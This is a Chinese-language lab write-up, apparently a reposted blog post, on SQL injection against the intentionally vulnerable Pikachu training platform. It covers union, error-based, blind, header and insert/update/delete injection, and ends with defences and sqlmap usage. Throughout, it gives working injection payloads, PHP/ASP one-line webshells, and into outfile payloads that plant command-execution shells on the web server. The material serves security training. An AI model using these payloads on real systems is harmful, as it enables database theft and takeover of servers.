2021-1-31 pikachu之sql注入

pikachu之sql注入(初级)

地位

在owasp发布的top 10漏洞里面,注入漏洞一直是危害排名第一,其中主要指SQL Inject 漏洞。

产生原因

sql注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

攻击流程

注入点探测------>信息获取--------->获取权限 **tips:**见总结

注入点探测:自动方式----使用web漏洞扫描工具,自动进行注入点发现;手动方式------手工构造sql注入测试语句进行注入点发现。

信息获取:通过注入点取期望得到的数据。

**tips:**order by、函数、union语句 information_schema数据库、报错注入

tables表:table_schema,table_name

columns表:table_schema,table_name,column_name

环境信息--------数据库类型,数据库版本,操作系统版本,用户信息等;数据库信息--------数据库名称,数据库表,表字段,字段内容(加密内容破解)

获取权限:获取操作系统权限------通过数据库执行shell,上传木马

注入点类型

数字型: user_id=$id

字符型: user_id=’$id’

搜索型: text LIKE ‘%{$_GET[‘search’]}%’"

分类

1、数字型注入(post)

image-20210201143320217

如上图,传参不在url中,说明是post请求

猜想后台执行的sql语句: select username,email from table_name where id =$id

$id即为传参

思路:构造payload:1 or 1=1 (遍历查询数据库中的数据)

使用Burp Suite抓包重放

image-20210201144341302

image-20210201144429968

image-20210201144541479

点击发送,在响应栏中Render处查看

image-20210201144632095

如图所示,遍历成功!

后台源码分析----------sql_id.php:

image-20210201145635449

2、字符型注入(get)

image-20210201150458715

如图所示:传参在url中,所以是get请求

$name = GET[‘name’]

猜想后台sql语句:select uid,email from table_name where name=’$name’

相当于select uid,email from table_name where name=‘kobe’

所以在构造payload时,要注意闭合单引号,否则构造的payload会被当做字符串来处理,从而失去效果

payload:kobe’ or 1=1# 或 kobe’ or 1=1–

补充:#和–空格 在sql语句中会注释后面的语句

输入后后端的代码中sql语句拼接为: select uid,email from table_name where name=‘kobe’ or 1=1#’

image-20210201151610715

如上图所示:输入payload后成功遍历!

后台源码分析:---------------sqli_str.php:

image-20210201152235283

3、搜索型注入

image-20210201153636593

根据搜索的功能猜测,后台的sql语句可能用到了like模糊匹配

$name = GET[‘name’]

猜想sql语句: select username,uid,email from table_name where name like ‘%$name%’

主要思路:构造闭合

payload:aaa%’ or 1=1#

输入payload后sql语句为:select username,uid,email from table_name where name like ‘%aaa%’ or 1=1#%’

image-20210201154913393

如图所示,输入payload遍历成功!

后台源码分析----------sqli_search.php

image-20210201155159183

4、xx型注入

后端源码分析-----------sqli_x.php

image-20210201155500663

如图所示:使用了username=(’$name’)

思路:构造闭合

payload:kobe’) or 1=1#

输入payload后sql语句:select id,email from member where username=(‘kobe’) or 1=1#’)

image-20210201163249706

输入payload提交,遍历成功!

总结:

不管是什么型,重点是构造闭合,将payload的拼接到SQL语句中去执行

采用一些方法比如输入:

aaa" or 1=1#

aaa’ or 1=1#

’是否报错

aaa’ and 1=1#

aaa’ and 1=2#

等等,根据返回的结果判断输入是否拼接到了SQL语句中去执行了

tips:如果是get方式那就url提交,如果是post方式那就抓包重放。

5、sql注入手动测试-----基于union的信息获取

  • union联合查询、order by知识补充

    image-20210201220225920

    union两端查询的字段数必须要一致,否则会报错

    所以在测试中我们往往需要知道查询语句所查询的字段数,这时需要用到order by 一个数字(就是用第几行来查询)来测试

    数字的选取用二分法,一直试到报错与不报错的临界值就可得知字段数

    image-20210202003153324

    由此可知,前面查询语句查询的字段数为2。(实际确实是2---->username,pw)

    select database()------获取数据库名

    select user()-------------获取数据库用户

    select version()---------获取数据库版本

    测试过程:

    先使用order by 二分法测试出主查询的字段数

    image-20210202124345072

    image-20210202124359716

    回显错误

    一直试到3回显错误,2回显正常,说明主查询的字段数为2

    构造union查询数据库信息

    ss' union select database(),user()#

    image-20210202124811630

    ss' union select version(),user()#

    image-20210202124947560

    总结:

    在构造闭合的前提下

    1、先用order by 二分法测试出主查询的字段数

    2、构造union语句获取数据库信息,注意字段数要与主查询保持一致

  • mysql中 ‘information_schema’ 数据库介绍

    该数据库中存放着大量重要信息

    SCHEMATA表:提供了当前mysql中所有数据库的信息,show databases结果取自此表

    TABLES表:提供了关于数据库中表的信息(包括视图),详细表述了某表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取自此表

    COLUMNS表:提供了表中列(字段)的信息。详细表述了某张表的所有列以及每个列的信息,show columns from schemaname.tablename(desc schemaname.tablename)的结果取自此表

    image-20210202150131639

    image-20210202145755416image-20210202145656433

完整步骤:

测试是否存在sql注入

尝试构造闭合

使用union获取数据库信息

解密码的MD5值,获取管理员权限

以字符型为例

1、测试是否存在sql注入

image-20210202172919991

输入单引号报错,说明存在sql注入

image-20210202172938628

2、尝试构造闭合

输入payload:aaa' or 1=1#

image-20210202173233541

成功遍历!

4、使用union获取数据库信息

a、order by 二分法测试主查询的字段数

一直试到3回显错误,2回显正常,说明主查询的字段数为2

b、union查询数据库名、版本号等信息

输入payload:aaa' union select database(),user()#

image-20210202174425063

**c、**union语句查询information_schema数据库中数据

#获取表名

select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';

输入payload:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

image-20210202175106721

成功从 information_schema数据库中的tables表中 查询出数据库名和表名!

#获取字段名

select id,email from member where username = 'kobe' union select table_name,column_name from information_schema.columns where table_name='users';

输入payload:kobe' union select table_name,column_name from information_schema.columns where table_name='users'#

查询user表中的字段名

image-20210202183522862

#获取内容

select id,email from member where username = 'kobe' union select username,password from users;

输入payload:kobe' union select username,password from users#

查询user表中的username,password表中的字段内容

image-20210202183847432

**5、**解密码的MD5值,获取管理员权限

信息获取---------基于报错注入

常用的报错函数updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select/insert/update/delete)

**技巧思路:**在mysql中使用一些指定的函数来制造报错,从而从报错的信息中获取设定的信息(会将我们传入的表达式代入先去执行,然后把结果作为报错内容输出),select/insert/update/delete都可以使用报错来获取信息。

**背景条件:**后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

updatexml():函数时mysql对xml文档数据进行查询和修改的XPATH函数

extractvalue():函数也是mysql对xml文档数据进行查询的XPATH函数

floor():mysql中用来取整的函数

  • updatexml()函数

    updatexml(xml_document, XPathstring, new_value)

    第一个参数:字段名(string格式),为表中的字段名

    第二个参数:XPathstring(Xpath格式的字符串),对xml文档进行定位

    第三个参数:new_value,String格式,替换查找到的符合条件

    其中xpath定位必须有效,否则会发生错误 tips:构造的表达式就在这里

    作用:改变(查找并替换)xml文档中符合条件的节点的值

  • extractvalue()函数

    extractvalue(xml_document, xpath_string)

    第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc

    第二个参数:xpath_string(xpath格式的字符串),对xml文档进行定位

    其中xpath定位必须有效,否则会发生错误 tips:构造的表达式就在这里(报错注入与updatexml()用法一致)

    作用:从目标xml中返回包含所查询值的字符串

  • floor()函数

    作用:取整

    要素:必须有count()、rand()、group by

    字符型payload:kobe' and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a)#

    tips:上述(select 2 from (select count(*), concat(version(), floor(rand(0)*2))为一个整体,用变量x代替,结果用a去遍历

    输入payload:

    image-20210203185522335

    image-20210203185428646

1、基于select-----------------------------------------------

查询数据库版本payload:aaa' and updatexml(1,concat(0x7e, version()), 0)#

image-20210202231111045

查询数据库名payload:aaa' and updatexml(1, concat(0x7e, database()), 0)#

image-20210202231252799

注:0x7e为~的十六进制,需将函数(例如version())与其拼接使用,防止回显信息被吃掉

#报错只能一次显示一行

输入payload:aaa' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

image-20210202231400809

  • 可以使用limit一次一次进行获取表名

输入payload:aaa' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

image-20210202231536746

改为limit 1,1

image-20210202231659070

改为limit 2,1

image-20210202231800595

改为limit 3,1

image-20210202231914524

获得表名users

  • 获取到表名后,获取列名的思路是一样的:

输入payload:aaa' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

image-20210202232136234

改为limit 1,1

image-20210202232253807

改为limit 2,1

image-20210202232341741

以此类推,遍历每个字段回显,最后查出敏感字段username,password

  • 获取到列名后,再获取数据

输入payload:kobe' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

image-20210202232658746

查出用户名为admin

输入payload:kobe' and updatexml(1, concat(0x7e, (select password from users where username='admin' limit 0,1)), 0)#

image-20210202232809416

查出对应密码的md5值为上图。

总结:

1、使用and语句+报错函数updatexml()等

2、注意为防止回显的数据被吃掉,要使用concat(0x7e, (查询语句))

3、若只能回显一行,那就要用limit 0,1一个一个去遍历

(先获取information.tables中的table_name,再获取information.column中的column_name,再获取对应字段的数据)

2、基于insert--------------------------------------------

一般存在于注册页面,用于将数据插入到数据库中

payload:xiamo' or updatexml(1,concat(0x7e,database()),0) or'

插入payload后sql语句: insert into member(username,pw,sex,phonenum,address,email) values('xiamo' or updatexml(1,concat(0x7e,database()),0) or'','123465','111','1345655','beijing','sdf');

image-20210203132800782

输入payload后:

image-20210203133156086

image-20210203133226094

成功爆出数据库名!

3、基于update-------------------------------

一般用于更改数据的页面

输入payload:xiamo' or updatexml(1,concat(0x7e,database()),0) or'

输入payload后的sql语句:update member set sex='xiamo' or updatexml(1,concat(0x7e,database()),0) or'',phonenum='55555',address='8888',email='2222' where username='1111'

image-20210203151757741

image-20210203140139539 image-20210203140234782

image-20210203140416952

成功爆出数据库名!

4、基于delete--------------------------------

输入payload:1 or updatexml(1,concat(0x7e,database()),0) tips:因为是字符型,所以不加’

输入payload后的sql语句:delete from message where id=1 or updatexml(1,concat(0x7e,database()),0)

image-20210203163557680

用burpsuite抓包重放:

image-20210203163518646 image-20210203163747014

因为是url提交id,所以要对payload部分进行url编码(选中右键菜单栏中)

image-20210203175946272

点击发送,如下图成功爆出数据库名!

image-20210203180035198

源码分析------------------------sqli_del.php:

用get方式将id传入后台,直接拼接到delete语句中

image-20210203181036755

image-20210203181158434

6、Http Header注入

产生原因:有时候后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。

image-20210203194143960

image-20210203194241138

猜想:它的功能可能是获取了浏览器的http header信息并进行SQL操作

用burpsuite抓包修改http header字段信息

image-20210203195831854

输入’测试一下

image-20210203200307148

如图所示,出现报错,说明此处存在SQL注入漏洞。

猜想:它可能获取http header信息之后,用insert语句插入到数据库中

于是构造payload:firefox' or updatexml(1,concat(0x7e,database()),0) or'

输入payload测试

image-20210203200736168

如上图所示,成功爆出数据库名!

7、盲注

**何为盲注?**后台使用了错误消息屏蔽的方法(比如@)屏蔽了报错,此时无法根据报错信息来进行注入的判断。

based boolean---------------

总结:

1、没有报错信息

2、不管是正确的输入,还是错误的输入,都只显示两种情况(可以认为是0或1,真或假)

3、在正确的输入下,输入and 1=1/and 1=2发现可以判断

4、若存在boolean盲注,则将测试的信息结果转化为ascii码,构造不等式(或等式)判断,求出信息字符串。

过程:

测试是否存在盲注

'

image-20210205121712326

kobe' or 1=1#

image-20210205121803091

kobe' and 1=1#

image-20210205121849173

回显正常,说明and 1=1已被拼接到sql语句中执行了,所以存在sql注入

kobe' and 1=2#

image-20210205122203394

回显与and 1=1不同,所以存在boolean盲注

获取信息

select length(database())>8 测试数据库名长度

image-20210205122823293

说明数据库名的长度为7

select ascii(substr(database(),1,1))>113 tips:substr(str,a,b) 取str中的字符从第a个开始,取b个

image-20210205123132136

依次类推因为数据库名长度为7,所以要重复上述过程7次,最总获取数据库名。是不是非常麻烦,我勒个去去!

输入payload:kobe' and ascii(substr(database(),1,1))>113#

image-20210205123555892

kobe' and ascii(substr(database(),1,1))=112#

image-20210205123708616

说明数据库名第一个字符为p。

获取表名的sql语句插入到payload中(select table_name from information_schema.tables where table_schema=database() limit 0,1)

payload:kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>113#

与上述方法一样,一个一个试出表名,以及当前数据库的所有表名。

based time----------------

输入测试payload:kobe' and sleep(5)#

image-20210205130733968

image-20210205130013844

如图所示页面返回时间延迟5s,说明sleep(5)在后台sql中被拼接执行。

构造payload:kobe' and if((substr(database(),1,1))='a',sleep(5),null)#

用于测试数据库名第一个字符是否为a

image-20210205130403071

如图没有延迟5s,说明第一个字符不是a。

更改为p:kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

image-20210205130556163

延迟5s,说明第一个字符为p。

依次类推,测试出完整的数据库名。

8、sql注入远程控制

  • 一句话木马

    一种短小而精悍的木马客户端,隐蔽性好,且功能强大

    PHP:<?php @eval($_POST['chopper']);?>

    ASP:<%eval request("chopper")%>

    ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

  • 如何通过into outfile写入恶意代码并控制OS

    select 1,2 into outfile "/var/www/html/1.txt"

    into outfile 将select的结果写入到指定目录的1.txt中

    在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

    前提条件:

    1、需要知道远程目录

    2、需要远程目录有写权限

    3、需要数据库开启了secure_file_priv

    image-20210205150938291

    通过更改my.cnf配置文件实现

payload:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"

将一句话木马(远程php代码执行)写入到指定文件下的1.php文件中(若没有1.php则自动新建)

payload:kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"

远程操作系统命令执行

输入以上两个payload后,木马就上传成功,直接在url中传参便可利用

9、sql注入中的暴力破解

因为有时用户没有权限方位information_schema数据库获得信息,或者其他数据库没有提供information_schema数据库实例

此时,我们需要使用暴力破解猜解表名或列名

payload:kobe' and exists(select * from aa)# 猜解表名

payload:kobe' and exists(select id from users)# 猜解列名

通过对变量设置字典来暴力猜解

用burpsuite的intruder模块比较方便

SQL注入防范措施

两手抓,两手都要硬

代码层面

1、对输入进行严格的转义和过滤 (过滤多采用黑名单,但由于技术更新快,所以不推荐)

2、使用预处理和参数化(推荐)

网络层面

1、通过WAF设备启用防SQL Inject注入策略(类似于防护系统)

在web应用服务器之前部署waf(web application firewall),识别payload并拦截(特征库)

2、云端防护(360网站卫士,阿里云盾等)

相当于云waf,用户访问服务器时dns先解析到云端,云端集群过滤清洗后再转发给web服务器

转义举例:

image-20210205225605467

过滤举例:(黑名单(有缺陷))

str_replace("%","",$_POST['username']) 把post里面的数据中的%替换为空

PDO预处理+参数化:

PDO会先将带有占位符(?)的SQL语句执行进行预处理,再将参数以索引数组的方式传进去,就防止了输入拼接sql语句

image-20210205225832292

Sqlmap

Automatic SQL injection and database takeover tool

第一步

-u "xxx" --cookie= "yyy" //带上cookie对url进行注入探测

image-20210205233604149

第二步:

-u "xxx" --cookie= "yyy" -current-db //对数据库名进行获取

image-20210205233530034

第三步:

-u "xxx" --cookie= "yyy" -D pikachu --tables //对数据库的表名进行枚举

image-20210205233656189

第四步:

-u "xxx" --cookie= "yyy" -D pikachu -T users --columns //对pikachu库里面的名为users的表的列名进行枚举

image-20210205233753963

第五步:

-u "xxx" -D pikachu -T users -C username,password -dump //获取字段username,password内容
最后对password的md5值进行破解
image-20210205235800005
-----------------------------------------------------------------------------------------------------------------
2021年2月28日更新    关于floor()报错注入原理

猜你喜欢

转载自blog.csdn.net/qq_43665434/article/details/113706052